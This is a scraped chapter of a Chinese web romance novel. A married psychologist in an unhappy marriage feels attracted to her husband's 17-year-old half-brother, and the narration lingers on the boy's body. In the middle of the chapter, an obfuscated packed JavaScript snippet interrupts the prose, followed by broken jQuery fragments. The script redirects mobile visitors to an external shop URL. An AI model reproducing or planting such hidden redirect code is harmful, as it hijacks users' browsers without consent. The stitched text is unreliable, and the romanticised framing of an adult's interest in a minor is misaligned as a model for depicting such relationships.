《难言之瘾》by竹君离
晋江文学城首发
窗外的春雨淅淅沥沥，织成一张灰色的网，罩住了整栋小楼。
厨房内的陶瓷锅咕噜咕噜正冒着热气。桑沐戴上防烫手套揭开锅盖，浓郁的排骨汤香气弥漫开来。
她脱下手套关去灶火，给老公谢时发送了一条消息。
【快回家了吧？】
屏幕亮了又暗，五分钟后，才跳出几字：【别烦，忙呢！】
桑沐指尖悬在屏幕上，最终只回:【那我等你回来再吃。】
谢时：【你饿了就吃。】
她没再追问，结婚一个月，她已经学会了不追问。
桑沐走去客厅坐下，墙上时钟发出沉重的“滴答”声，和窗外的雨滴声杂糅在一起，有点聒噪。
桑沐觉得，这屋内就像一个笼子。
辞职、结婚，跟着他回老家，每一步都像被推着走。自她结婚以来，她跟不少已婚女人一样，过着男主外，女主内的生活。
而她作为一名心理咨询师，被谢时的一句话给彻底否定。
“你那工作挣不了几个钱，不如把精力放在家里，我养你。”
她懒得争辩，就像她懒得去想，把“女人结婚不生孩子干嘛呢”挂在嘴边的男人，和她之间到底有没有“爱情”这种东西。
庆幸的是，在这一潭死水的婚后日子里，她看到了一抹鲜活的亮色。
婚礼那天，她第一次见到谢时的弟弟。
在此之前，她只知道谢时有个同父异母的弟弟，却从未见过。
谢时提起他的次数屈指可数，每次都是一副不耐烦的语气：“以后离他远点，别给自己添堵。他性情淡漠，就是个冷血动物。”
桑沐当时没有多想，后来她才知道，谢雨辰和他奶奶就住在谢时家对面。两栋楼隔着一条小路，相隔不过七八米。
但谢时像是故意忽略他的存在，趁谢雨辰上学的时候，才带桑沐去见奶奶。
直到结婚那天，桑沐才第一次见到这个传说中的弟弟。
那天他坐在角落里，安安静静，看起来比较内敛，像一棵白杨树。
桑沐会注意到他，不是因为他是谢时的弟弟，而是他身上有一种她熟悉的感觉。
那种感觉叫：格格不入。
她突然觉得，她和这个男生有点同频！
桑沐收回心绪，靠在料理台旁，指尖无意识地摩挲着手机壳边缘。那里有一道浅浅的划痕，是婚礼前夕留下的。
她想起那天自己在婚纱店，一共试了九套婚纱。
第一套是抹胸款，桑沐光洁的香肩暴露在外，她站在镜子前，总觉得哪里不对劲，用手遮了遮胸口。
“这件是不是太露了？”
导购小姐笑着说：“不会的女士，您身材很好，这款非常适合您。”
谢时坐在沙发上刷手机，抬头看了一眼：“太露骨了，不适合你。”
第二套是鱼尾款，将她腰臀线条完美展现出来。桑沐走出来的时候，谢时还吹了个口哨：“这屁.股，不错。”
桑沐的脸一下子红了，赶紧退回到试衣间。
第三套、第四套、第五套……每一套她觉得似乎差点意思。
导购小姐脸上的笑容渐渐变得勉强，谢时的耐心也所剩无几。
“你到底要试多少件？”
“快了快了，”她连忙说，“我再试试这件。”
第九套是一件复古长袖款，蕾丝从领口延伸到手腕，把她裹得严严实实。
她站在镜子前，终于觉得自在了些。
“就这件吧。”
导购小姐松了口气，双手交叠在小腹，微笑道：“好的女士，请稍等。”
谢时走过来，压低声音问：“没给你三金，你会不会不开心？”
桑沐愣了一下，摇摇头：“你现在又没挣到什么钱，我总不能为了那点所谓的仪式感，就不过日子了吧。”
她说的是真心话，她是心理学研究生，懂什么叫“合理预期管理”。既然选择了这个人，就要接受他的现状。
谢时在城市里摸爬打滚多年，钱挣得并不少，只是这几年行情不好，工程款总是容易拖欠，还有大几十万一直拿不到手。
后面谢时直接回了老家，接到活就外出工作，没活就呆在家里。桑沐辞职，也是为了跟他回去。
好在谢时母亲很早就给他单独建了两层小楼，方便他和未来老婆生活。
谢时对她刚才的态度很满意，趁机捏了一把她的翘臀：“桑沐，你比别的女人懂事。你放心，老公以后不会让你吃亏。”
桑沐退开一些，绕开他的掌心，含羞道：“这是公共场合，别那样。”
“又没人看到。”
她抬头指了指天花板：“有摄像头呢。”
“唉，你们女人咋就这么矫情。”
“……”
桑沐看着导购员打包着婚纱，忽然想：如果她选的是那件抹胸的，会怎么样？
她想象着那个画面，然后迅速掐断了这个念头。
算了，没必要。
她选的这件很好，安全、得体、不出错。
就像她的人生一样。
谢时拎着大小礼盒袋和桑沐回到车上，他系好安全带，轻瞥桑沐一眼，随口说：“趁年轻可以先备孕，生出的小孩聪明又健康。”
“这个顺其自然吧，不用那么着急的。”
“你们女人就不懂了，越早生，身体就恢复得越快，也能少受罪。”
“??”
有些人，总爱打着为你好的名义，把想法强加于人。
谢时握住桑沐的手心：“我刚才的那些话，对于你们女人来说，过于迂腐。但现实就是如此，女人学历再高，挣钱再多，最终都是要结婚生子的。”
“……”
谢时把桑沐送回心苑小区时，天已经快黑了。
她推开家门，客厅里飘着一股饭菜香。母亲王莉从厨房里探出头来：“薇薇回来了？”
薇薇是桑沐的小名。
“吃了没？”
“吃过了。”
桑沐正要往房间走，沙发上传来了一个含糊不清的声音。
“妹。”
桑淼啃着半个玉米棒，腮帮子鼓鼓囊囊，看到桑沐，他咧嘴一笑，玉米粒还挂在牙缝上。
“哥，你吃相怎么还是那么难看？”桑沐忍不住笑道。
“饿了啊。”桑淼三两下啃完玉米，把棒子往茶几上一扔，“妹，我看你今天脸色不太好，谢时那小子没欺负你吧？”
“没有。”
“那就好。”桑淼拍了拍肚子，“他要敢欺负你，你跟哥说，哥帮你揍他一顿，他就老实了。”
“你……不一定打得赢吧。”毕竟谢时的身形就跟个大铁桶，人虽矮，肌肉却大块。
桑淼一下坐直：“妹，你太小瞧哥了，哥小时候跟人打架哪次有输过？”
“那是小学。”
“小学怎么了？底子还在！”
“……”
以前她会觉得桑淼烦，觉得他不正经。
但现在，她忽然有点不舍。
再过几天，她就要离开这座城市了。以后想听哥哥胡说八道，恐怕都没机会了。
“行了，不跟你贫了。”桑淼站起来，伸了个懒腰，“妹，我跟你说认真的。要是过得不好，就回来。”
“哥养你。”
他说这话的时候没有笑。
桑沐愣了一下，鼻子有点酸。
“知道了。”
桑沐朝房间走去，看着床头墙上贴着的大红喜字，有些恍惚。
王莉这时走了进来，苦口婆心地说：“谢时人老实，以后不会对你动什么歪心思，现在行情不好，大家手头都不宽裕，你忍个几年就好了。”
“知道了妈，我又不是那种只认钱的女人。”
＊
桑沐是在婚后发现谢时不行的！
新婚当夜，她洗完了澡，在浴室里站了很久。
镜子里的自己穿着新买的红色睡衣，头发还滴着水，脸上带着一层薄薄的脂粉。
化妆师说她属于淡颜系，适合淡妆，所以她今晚并不打算卸妆。
她深吸一口气，推开了门。
谢时已经躺在床上背对着她，被子裹得严严实实。
桑沐在床边坐了一会儿，手指攥着被角，她紧张到有些反胃，喉咙发紧，不知道该说什么，也不知道该做什么。
然后，她听到了震天的呼噜声。
她愣在那里，手指慢慢松开被角。
直到婚后第九天，她终于知道了原因。
那天晚上，她在黑暗中睁着眼，长长松了口气，麻木地想：
也好，至少，她不用那么快成为一个母亲，在这个不像家的家里。
这个念头冒出来的时候，她自己都吓了一跳。
曾经，她也会幻想结婚生子，幻想一个温馨的家。
可摆在眼前的现实是，她连“妻子”这个角色都还没弄明白，又如何做一个母亲？
她翻了个身，望着窗帘缝隙里透进来的月光。
起初，她并不想结婚。
和谢时是相亲认识，见了几面，吃了两顿饭，父母就开始催了。
长辈们说年纪越大越不好找，越难找到好男人。
毕竟，好男人是不在市面流通的，早就被人捷足先登。
所以，于她而言，早婚晚婚其实差别不大，不过是尽早适应新的身份和生活。
也是为了不再被父母催婚。
正如谢时平常所说，女人学历再高，挣钱再多，最终都是要结婚生子。
手机响起一声短信提示音，桑沐思绪骤断。
【省三防办、气象局提醒您：8—9号我省西南部有大雨到特大暴雨，请密切关注当地预警信息……】
桑沐放下手机，窗外雨声渐密。
她抬眼看了下时钟，现在已经是晚上6点25分。秒针正有节奏地转动着，好像在拨动着她敏感的神经。
一声微弱的扣门声响起。
是谢时回来了？
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17789042|210299||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
不对，谢时的脚步声平常带着一种散漫、沉重。
这个声音太轻，太有礼貌。
像在试探。
她打开门的瞬间，一股潮湿的气息迎面扑来，杂糅着一丝皂角淡香。
桑沐撞上一双淡漠的眼。
谢雨辰站在门口，穿着校服，立在玄关昏黄的灯下，精瘦的肩头上，蓝色校服落满细碎的雨珠。
雨水顺着他的棱角分明的下颌线滑落，少年没来得及擦，那滴水瞬息间偷滑至他的锁骨。
一直蔓延，向下。
桑沐第一次觉得，眼前的少年像是从漫画里走出来的。
“嫂嫂。”他微微颔首，声音低沉克制。
“我……我哥在家吗？”
“奶奶让我把这袋葡萄给你们。”谢雨辰上抬了下拎着的袋子。
桑沐下意识的反应比脑速更快地做出回应。
她接过袋子：“你哥还没回。”
“哦。”谢雨辰转身就要走。
桑沐叫住他：“进来坐坐吧，外面还在下雨。”
“正好我煲了汤，你尝尝口味。”
谢雨辰有些犹豫：“奶奶做了饭，我就不吃了。”
“那也可以喝碗汤再走，尝尝味道怎样。”桑沐面带微笑地说道。
谢雨辰拖着沉重的步伐迈入屋内。
可他不知，他迈进一步，从此便再无退路……
屋内比外面暖和许多，谢雨辰有些赧然，肢体十分僵硬、局促，扭捏地问：“嫂嫂，我穿哪一双鞋？”
“你随意，不用讲究。”桑沐已经走去了厨房。
谢雨辰换上鞋架上一双黑色的棉拖，他扫视一眼四周，看到墙上挂着的婚纱照，若有所思。
他盯了许久，眼眸深邃如一口古井。像是在回忆着什么，又像是在审视。
很快，桑沐端着一碗排骨汤走出，谢雨辰连忙收回视线，三步并作两步迎上前。
“嫂嫂，我来。”
“不用不用，很烫，你坐好。”
谢雨辰这才乖乖坐下，慢慢舀起半勺吹了吹。
他喝汤的样子很安静，睫毛低垂，在眼睑投下一小片阴影。
桑沐的目光不经意一暼，落在他微噘的、色泽淡粉的唇上。
她暼开了视线，问：“味道怎样？”
“挺好喝的，像我妈妈做的味道。”
谢雨辰的父母很早就意外去世，一直和奶奶生活在一起。
但在经济上一点都不缺，父母生前留下了不少遗产。
“那你有空时，也可以来我们家吃饭。”
谢雨辰微微一笑，并没出声。
桑沐只当他不好意思。
吃得差不多的时候，谢雨辰突然问：“我哥……他什么时候回来？”
“不知道，今天应该会回得晚。”
“你找他有什么事吗？”
谢雨辰猛地摇摇头：“没有，就问问。”
可桑沐不知道的是，他极少来找谢时，两人甚至一年连说话都不超过5句。
桑沐的手机突然响起，竟是谢时打过来的。
桑沐接通后并点了免提。
谢时：“我不回来吃了。”
桑沐：“哦，好。”
谢雨辰慢慢起身将碗带去厨房。
谢时：“家里有人？”
闻言，谢雨辰猛地回头，朝桑沐摆摆手。
桑沐心领神会：“没有，我正准备去厨房装菜。”
谢时挂了电话，桑沐有些不解：“你不是要找你哥吗？”
“……没别的事，就是来送点水果给你们。”
谢雨辰忙不迭地解释：“我哥他疑心重，多一事不如少一事。”
桑沐若有所思地点点头，觉得很在理。
“还要再喝碗吗？”
“不用了。”
“那你放着，我来洗。”
话落，谢雨辰已经打开了水龙头冲洗着碗筷。
准备走的时候，谢雨辰站在玄关处，穿鞋的速度明显慢了一拍，动作慢得像慢镜头。
他背对着她，肩膀微微绷着，像是有什么话要说，却始终未说。
“就走了吗？”
“嗯，奶奶还在等我回家吃饭。”
“有空再过来玩。”
谢雨辰只是淡淡地应声：“好。”
转身关门时，他回头看了桑沐一眼，认真得不像个十七岁的少年。
谢雨辰喉结轻轻滚动：“打扰了。”
屋门咚地一声被阖上，室内一下安静下来，满屋子旖旎潮湿之气，混合着排骨汤的暖香，久久不散。
就好像，他还没走，连带着吹起的一阵风，都是他身上清冽的少年气息。
桑沐的目光落在门口旁的卡通深色脚垫上，上面已经洇出一小摊深深浅浅的水渍。
她掐了掐自己的脸蛋，从桌面端起一杯水，水面漾起细小的波纹。
桑沐突然觉得，她好像……有点期待他下次再来！
窗外的雨声，倏地一下大了起来……